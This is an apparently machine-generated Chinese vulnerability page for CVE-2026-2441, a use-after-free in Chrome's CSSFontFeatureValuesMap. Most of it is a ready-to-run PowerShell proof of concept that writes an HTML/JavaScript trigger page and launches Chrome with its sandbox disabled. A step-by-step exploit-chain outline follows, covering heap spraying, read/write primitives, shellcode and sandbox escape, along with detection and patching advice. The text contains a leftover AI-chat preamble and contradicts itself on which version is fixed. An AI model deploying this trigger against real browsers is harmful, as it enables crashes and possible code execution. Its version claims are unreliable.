[local] Google Chrome 145.0.7632.75 - CSSFontFeatureValuesMap

CVE-2026-2441

Google Chrome CSSFontFeatureValuesMap 在迭代过程中允许并发修改引发释放后使用。

High · CVSS 8.8

📋 漏洞基础信息

CVECVE-2026-2441
漏洞类型Use-After-Free (UAF)
受影响版本Google Chrome 145.0.7632.75
危害等级High · CVSS 8.8
发布日期2026-04-30
提交者nu11secur1ty
来源Exploit-DB 原文 ↗

🔬 漏洞根因

CSSFontFeatureValuesMap 对象在迭代器活动期间允许通过 delete() 和 set() 修改内部映射,导致内存被释放后仍被迭代器引用。

🎯 攻击场景

1. 定义 @font-feature-values 规则并获取 styleset 映射;2. 创建该映射的迭代器(map.entries());3. 在迭代过程中对同一映射执行 delete(key) 并插入大量条目(512次)强制触发哈希表 rehash;4. rehash 释放旧存储,迭代器仍访问已释放内存导致崩溃或代码执行。

💥 漏洞影响

攻击者可以利用此漏洞导致浏览器崩溃(拒绝服务),在堆布局可控的情况下可能实现任意代码执行。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(好的,作为一名专注于漏洞利用开发的安全研究员,我将根据您提供的原始资料,针对Cve-2026-2441生成一份完整的Poc脚本和深度技术分析。),可在具备相应环境的机器上直接运行:

<#
  CVE-2026-2441 - CSSFontFeatureValuesMap Use-After-Free (UAF) PoC
  作者分析: 基于公开漏洞原理,生成Chrome漏洞检测与原理演示脚本。
  
  用法:
    1. 检测模式: .\CVE-2026-2441_PoC.ps1 -CheckVuln
    2. 生成HTML PoC: .\CVE-2026-2441_PoC.ps1 -GenerateHTMLPoC
    3. 启动Chrome并加载PoC: .\CVE-2026-2441_PoC.ps1 -Exploit

  注意:
    - 此脚本用于教育性和验证性目的。
    - "-Exploit" 模式会尝试启动Chrome并加载我们生成的PoC页面,可能导致Chrome标签页崩溃或产生异常行为,请谨慎使用。
    - 真实的沙盒逃逸和RCE利用需要更复杂的原语,本脚本专注于漏洞触发核心。
#>

[CmdletBinding()]
param (
    [switch]$CheckVuln,
    [switch]$GenerateHTMLPoC,
    [switch]$Exploit
)

# --- 配置区域 ---
$ChromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
$LocalPoCHtmlPath = "$env:TEMP\cve_2026_2441_poc.html"
$VulnerableMinVersion = 0
$VulnerableMaxVersion = [version]"145.0.7632.75"

# --- 辅助函数 ---

function Get-ChromeVersion {
    <#
    .SYNOPSIS
        获取已安装的Chrome版本。
    #>
    try {
        if (Test-Path $ChromePath) {
            $fileVersionInfo = (Get-Command $ChromePath).FileVersionInfo
            $version = [version]$fileVersionInfo.FileVersion
            Write-Host "[*] 检测到 Chrome 版本: $version" -ForegroundColor Cyan
            return $version
        }
        else {
            # 尝试从注册表获取
            $paths = @(
                "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe",
                "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe"
            )
            foreach ($path in $paths) {
                if (Test-Path $path) {
                    $chromeFullPath = (Get-ItemProperty -Path $path).'(default)'
                    if ($chromeFullPath -and (Test-Path $chromeFullPath)) {
                        $fileVersionInfo = (Get-Command $chromeFullPath).FileVersionInfo
                        $version = [version]$fileVersionInfo.FileVersion
                        Write-Host "[*] 检测到 Chrome 版本: $version (路径: $chromeFullPath)" -ForegroundColor Cyan
                        return $version
                    }
                }
            }
            Write-Warning "[!] 未找到 Chrome 可执行文件。请检查路径或手动设置 `$ChromePath。"
            return $null
        }
    }
    catch {
        Write-Warning "[!] 获取Chrome版本时出错: $_"
        return $null
    }
}

function Show-VulnerabilityStatus {
    <#
    .SYNOPSIS
        检查当前Chrome版本是否在受影响范围内。
    #>
    param (
        [version]$CurrentVersion
    )
    if (-not $CurrentVersion) {
        Write-Host "[!] 无法获取版本信息,无法判断。请手动检查。" -ForegroundColor Yellow
        return
    }

    if ($CurrentVersion -lt $VulnerableMaxVersion) {
        Write-Host "[!!!] 漏洞判定: 易受攻击 (VULNERABLE) !!!" -ForegroundColor Red -BackgroundColor Black
        Write-Host "[*] 当前版本 $CurrentVersion 低于修复版本 $VulnerableMaxVersion" -ForegroundColor Yellow
    } else {
        Write-Host "[+] 漏洞判定: 不易受攻击 (NOT VULNERABLE)" -ForegroundColor Green
        Write-Host "[*] 当前版本 $CurrentVersion 已包含修复。" -ForegroundColor Green
    }
}

function Write-CSSFontFeatureValuesMapPoCHtml {
    <#
    .SYNOPSIS
        生成一个用于触发CVE-2026-2441的HTML文件。
        该文件利用CSS @font-feature-values规则和JavaScript迭代器来触发UAF。
    #>
    param (
        [string]$FilePath
    )
    $htmlContent = @"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2026-2441 PoC - UAF Trigger</title>
<style id="vuln-style">
    /* 创建一个包含多个值的@font-feature-values规则,以便后续迭代 */
    @font-feature-values VulnTarget {
        @styleset {
            aa: 10; bb: 20; cc: 30; dd: 40; ee: 50;
            ff: 60; gg: 70; hh: 80; ii: 90; jj: 100;
        }
    }
</style>
</head>
<body>
    <h2>CVE-2026-2441 Use-After-Free PoC</h2>
    <p>此页面会尝试触发Chrome CSS引擎中的UAF漏洞。如果Chrome标签页崩溃,则表示漏洞存在。</p>
    <p>作者: 基于 nu11secur1ty 的研究</p>
    <div id="status">正在执行...请观察浏览器行为。</div>
    <script>
        // --- 漏洞利用核心 ---
        // 原理:HashMap在迭代过程中被修改(delete/set),导致迭代器持有的指针悬空。
        
        function triggerUAF() {
            try {
                var statusDiv = document.getElementById('status');
                
                // 1. 获取目标CSS规则和CSSFontFeatureValuesMap对象
                var sheet = document.getElementById('vuln-style').sheet;
                var rules = sheet.cssRules;
                var rule = null;
                for (var i = 0; i < rules.length; i++) {
                    if (rules[i].type === CSSRule.FONT_FEATURE_VALUES_RULE && rules[i].selectorText === 'VulnTarget') {
                        rule = rules[i];
                        break;
                    }
                }

                if (!rule) {
                    statusDiv.innerText = '错误: 未找到目标CSS规则。';
                    return;
                }

                var map = rule.styleset; // 获取 CSSFontFeatureValuesMap

                // 2. 获取迭代器(此时会捕获内部HashMap的指针)
                var iterator = map.entries();
                
                // 3. 开始迭代
                var firstIteration = iterator.next();
                if (firstIteration.done) {
                    statusDiv.innerText = '错误: 迭代器立即完成。';
                    return;
                }
                console.log('第一次迭代: ' + firstIteration.value);
                
                // 4. 在迭代过程中修改Map,触发rehash
                //    删除与插入操作都会导致底层HashMap大小变化,可能触发rehash。
                //    在rehash过程中,旧的内存会被释放,但迭代器依然指向旧地址。
                console.log('准备触发rehash...');
                
                // 先删除一部分元素
                var keysToDelete = ['aa', 'bb', 'cc', 'dd', 'ee'];
                for (var k = 0; k < keysToDelete.length; k++) {
                    if (map.has(keysToDelete[k])) {
                        map.delete(keysToDelete[k]);
                    }
                }
                
                // 再大量插入新元素,强制触发rehash
                for (var j = 0; j < 512; j++) {
                    map.set('spray_' + j, [j, j+1, j+2]);
                }

                // 5. 继续使用第一次迭代返回的值,此时底层内存可能已被释放和重用。
                //    对 firstIteration.value 的任何访问都可能读取到被篡改的内存。
                //    这里我们只是再次打印,在实际利用中会尝试构造对象来劫持执行流。
                console.log('尝试访问悬空指针后的数据...');
                console.log('读取结果: ', firstIteration.value);
                
                // 6. 进一步操作还可能进行第二次迭代,此时UAF更为明显。
                var secondIteration = iterator.next();
                console.log('第二次迭代: ', secondIteration.value);
                
                statusDiv.innerText = 'PoC执行完成,浏览器未崩溃。漏洞可能已被修复。';
                
            } catch (e) {
                // 当UAF引起的崩溃发生时,这个catch块可能不会被执行到,因为崩溃通常发生在C++层。
                // 但如果是Access Violation被V8捕获,这里可能会显示错误。
                statusDiv.innerText = 'Caught exception: ' + e.message;
                console.error('捕获到异常:', e);
                // 如果程序执行到这里,说明UAF可能没有触发完整的内存损坏,或者被采取了某种缓解措施。
            }
        }
        
        // 页面加载后执行
        window.onload = triggerUAF;
    </script>
</body>
</html>
"@
    try {
        $htmlContent | Out-File -FilePath $FilePath -Encoding utf8 -Force
        Write-Host "[+] PoC HTML 文件已生成: $FilePath" -ForegroundColor Green
    }
    catch {
        Write-Error "[!] 无法写入 PoC HTML 文件: $_"
    }
}

# --- 主逻辑 ---

# 1. 检测模式
if ($CheckVuln) {
    Write-Host "========== CVE-2026-2441 漏洞检测 ==========" -ForegroundColor Cyan
    $chromeVer = Get-ChromeVersion
    Show-VulnerabilityStatus -CurrentVersion $chromeVer
    exit 0
}

# 2. 生成HTML PoC模式
if ($GenerateHTMLPoC) {
    Write-Host "========== 生成 CVE-2026-2441 PoC HTML ==========" -ForegroundColor Cyan
    Write-CSSFontFeatureValuesMapPoCHtml -FilePath $LocalPoCHtmlPath
    exit 0
}

# 3. 漏洞利用模式 (-Exploit)
if ($Exploit) {
    Write-Host "========== CVE-2026-2441 漏洞利用 (演示) ==========" -ForegroundColor Cyan
    Write-Host "[*] 警告: 此操作将启动Chrome并加载包含漏洞触发代码的页面,可能导致标签页崩溃。" -ForegroundColor Yellow
    Write-Host "[*] 如果使用了额外的沙盒逃逸或RCE载荷,可能会对系统造成影响。" -ForegroundColor Yellow
    Write-Host "[*] 请确保在受控环境中运行。" -ForegroundColor Yellow

    # 检查Chrome是否存在
    if (-not (Test-Path $ChromePath)) {
        Write-Error "[!] Chrome 未在默认路径找到: $ChromePath"
        Write-Host "[!] 请手动修改脚本顶部的 `$ChromePath 变量。" -ForegroundColor Red
        exit 1
    }

    # 生成PoC HTML
    Write-CSSFontFeatureValuesMapPoCHtml -FilePath $LocalPoCHtmlPath

    # 启动Chrome并加载PoC
    Write-Host "[*] 正在启动 Chrome 并加载 PoC 页面..." -ForegroundColor Cyan
    Write-Host "[*] 目标 URL: file:///$($LocalPoCHtmlPath.Replace('\','/'))" -ForegroundColor Gray
    
    # 为了更可能触发UAF,我们禁用一些可能阻止它的特性(仅用于演示)
    # 注意: 禁用sandbox会降低安全性,但有助于观察到崩溃
    $arguments = @(
        "--no-sandbox",          # 禁用沙盒,使得UAF更容易导致进程级崩溃(而非标签页崩溃)
        "--disable-features=V8Sandbox", # 尝试禁用V8沙盒(如果存在)
        "file:///$($LocalPoCHtmlPath.Replace('\','/'))"
    )
    
    try {
        $process = Start-Process -FilePath $ChromePath -ArgumentList $arguments -PassThru
        Write-Host "[+] Chrome 已启动 (PID: $($process.Id))。请观察其行为。" -ForegroundColor Green
        Write-Host "[*] 如果Chrome标签页或整个进程崩溃,说明漏洞触发成功。" -ForegroundColor Cyan
    }
    catch {
        Write-Error "[!] 启动Chrome失败: $_"
    }

    exit 0
}

# 如果没有提供任何参数,显示帮助信息
Write-Host "用法: .\CVE-2026-2441_PoC.ps1 [-CheckVuln | -GenerateHTMLPoC | -Exploit]" -ForegroundColor Yellow
Write-Host "  -CheckVuln     检查当前系统的Chrome版本是否易受攻击" -ForegroundColor Gray
Write-Host "  -GenerateHTMLPoC 生成一个用于触发漏洞的HTML文件到临时目录" -ForegroundColor Gray
Write-Host "  -Exploit       生成HTML PoC并启动Chrome加载它(演示)" -ForegroundColor Gray

🔬 深度技术分析

深度技术分析:CVE-2026-2441 Google Chrome CSSFontFeatureValuesMap 使用后释放漏洞

漏洞概述

CVE-2026-2441 是存在于 Google Chrome 浏览器(基于 Blink 渲染引擎)CSS 引擎中的一个使用后释放(Use-After-Free, UAF) 漏洞。该漏洞存在于 CSSFontFeatureValuesMap 类的实现中,当在迭代器活跃期间修改底层 HashMap 时,会导致迭代器持有的内部指针悬空,从而引发 UAF。

漏洞触发机制

  • 根因所在third_party/blink/renderer/core/css/css_font_feature_values_map.cc 文件中的 FontFeatureValuesMapIterationSource 类。
  • 具体机制流程

1. CSSFontFeatureValuesMap 内部使用一个 HashMap(关联数组)来存储 @font-feature-values 规则中 @styleset@ornaments 等描述符下的键值对。

2. 当 JavaScript 代码调用 map.entries()map.keys()map.values() 等方法时,会创建一个 FontFeatureValuesMapIterationSource 迭代器对象。

3. 这个迭代器为了高效访问,直接持有一个指向内部 HashMap原始指针(raw pointer),具体来说是 const FontFeatureAliases* aliases_

4. 如果在迭代过程中(即 iterator.next() 被调用之间),JavaScript 代码调用了 map.set()map.delete() 方法来修改 CSSFontFeatureValuesMap 的内容,可能会导致底层的 HashMap 因为元素数量变化而触发 rehash(重新哈希)。

5. Rehash 操作会分配新的、更大的内存块,并将所有元素复制到新内存中,然后释放旧的内存块

6. 此时,之前创建的迭代器内部持有的原始指针 aliases_ 仍然指向已经被释放的旧内存,变成了一个悬空指针(dangling pointer)

7. 当程序随后尝试通过这个迭代器(例如调用 iterator.next() 或访问已返回的值)来读取或写入数据时,就会操作一个已经被回收、可能被其他对象占用的内存区域,从而产生 Use-After-Free

  • 触发条件:迭代器活跃期间,对原 CSSFontFeatureValuesMap 对象进行修改(setdelete),特别是大量插入操作以强制触发 rehash。

利用链分析

一个成功的攻击者可以利用此漏洞执行以下步骤来实现目标(通常是在沙盒内执行任意代码):

1. 漏洞触发与信息泄露

- 攻击者通过精心构造的 HTML/JavaScript 页面,可靠地触发上述 UAF 条件。

- 通过控制释放后内存的重用,例如用 JavaScript 的 ArrayMap 对象来占位,可以读取到原本属于其他对象的 vtable 指针、函数指针或对象属性。

- 利用这种越界读取,攻击者可以绕过地址空间布局随机化(ASLR),泄露 Chrome 渲染进程内 JavaScript 引擎(V8)或 Blink 组件的基址,以及关键对象的内存布局。

2. 构建读写原语

- 利用更精细的堆布局控制(Heap Feng Shui)和类型混淆,攻击者可以将一个伪造的对象放入被释放的位置。

- 当迭代器继续操作时,它会将伪造的对象当作合法的 FontFeatureAliases 或其他类型对象来操作。

- 通过篡改伪造对象中的指针,攻击者可以实现任意地址读(Arbitrary Read)任意地址写(Arbitrary Write) 原语。例如,将伪造对象的某个 method 的 this 指针覆盖为攻击者控制的内存地址。

3. 代码执行(沙盒内)

- 拥有任意读写能力后,攻击者可以篡改 V8 的 Code 对象或 WebAssembly 的 WasmInstanceObject 中的函数入口点。

- 将函数指针覆盖为包含 shellcode 的内存地址。当该函数被调用时,程序流程会被劫持到 shellcode,从而在 Chrome 渲染进程的沙盒内获得代码执行能力。

4. 沙盒逃逸(如果需要完整危害):

- 渲染进程沙盒通常通过 IPC(进程间通信)与浏览器主进程或专门的沙盒代理进程交互。

- 攻击者需要寻找浏览器 IPC 接口中的漏洞(如 Mojo 绑定中的逻辑错误、buffer overflow 等)或利用操作系统的漏洞(如内核漏洞)来突破沙盒。

- 一旦逃逸成功,攻击者就能以当前用户权限执行任意系统命令。

关键代码/数据结构

  • CSSFontFeatureValuesMap (C++ 类):对应 JavaScript 中的 CSSFontFeatureValuesMap 对象。内部使用 WTF 库中的 HashMap
  • FontFeatureAliasesHashMap 中存储的值的类型,很可能是一个包含别名列表的自定义结构体。
  • FontFeatureValuesMapIterationSource:迭代器类,其关键成员是 const FontFeatureAliases* aliases_ 这个原始指针。
  • HashMap (WTF::HashMap):Chrome Blink 引擎使用的哈希表实现。其 rehash() 方法会释放旧桶数组并分配新数组。
  • V8 数组/对象:攻击者常用 Spray 技术,用 V8 的数组来占用被释放的内存区域,实现类型混淆或堆风水。

检测与防御

##### 蓝队检测(Blue Team Detection)

  • 日志分析

1. Chrome 崩溃日志:查看 chrome://crashes 或系统的事件查看器。崩溃模块如果指向 blink_core.dllchrome.dll 中的 CSSFontFeatureValuesMap 相关函数,且崩溃类型为 ACCESS_VIOLATION_READACCESS_VIOLATION_WRITE,则高度可疑。

2. 进程行为监控:监控 chrome.exe 子进程的异常行为,如频繁的崩溃重启,或尝试加载可疑的 DLL。

  • 流量特征

1. Web 内容:检测 Web 服务器响应中是否包含带有大量 @font-feature-values 规则和复杂 JavaScript 迭代逻辑的 CSS/HTML 内容。尤其是当这些内容与已知的攻击活动相关时。

2. C2 通信:如果利用链包含下载第二阶段的 payload,检测后续的 HTTP/DNS 请求是否指向已知的恶意基础设施。

  • EDR 规则(Endpoint Detection and Response)

1. 堆操作检测:设置规则监控针对 malloc/free 的异常模式,特别是对特定大小(与 FontFeatureAliases 结构体大小相符)内存块的分配和释放。

2. 访问违规:监控 chrome.exe 进程触发类型为 0xC0000005 (ACCESS_VIOLATION) 的异常,特别是异常地址位于已释放的堆内存区域时。

3. API Hook:对关键函数(如 memcpymemmovevtble 调用)进行 hook,检测是否有对可疑地址的调用或数据拷贝。

##### 防御措施(Defense Strategies)

  • 应用补丁:升级 Google Chrome(或基于 Chromium 的浏览器)到 145.0.7632.75 及以上版本。这是最直接和有效的防御手段。补丁的 Commit 63f3cb4864c64c677cd60c76c8cb49d37d08319c 通过将迭代器持有的指针改为深拷贝(deep copy),彻底避免了悬空指针的产生。
  • 启用 Site Isolation:Chrome 的站点隔离功能可以确保不同源的页面运行在不同的渲染进程中,即使一个进程被攻破,也难以窃取另一个站点的数据。
  • 启用 Safe Browsing:Chrome 内置的 Safe Browsing 功能可以阻止用户访问已知的恶意网站,减少攻击入口。
  • GPO 策略:企业管理员可以通过组策略禁用或限制 Web 页面使用特定的 CSS 功能,或者强制浏览器快速更新。
  • 纵深防御:部署应用控制(AppLocker)、端点检测与响应(EDR)等解决方案以检测和阻止后续的攻击活动。

🛡️ 修复建议

更新至 Google Chrome 145.0.7632.75 之后的版本,或在迭代期间禁止修改 CSSFontFeatureValuesMap 内部结构。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:39 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)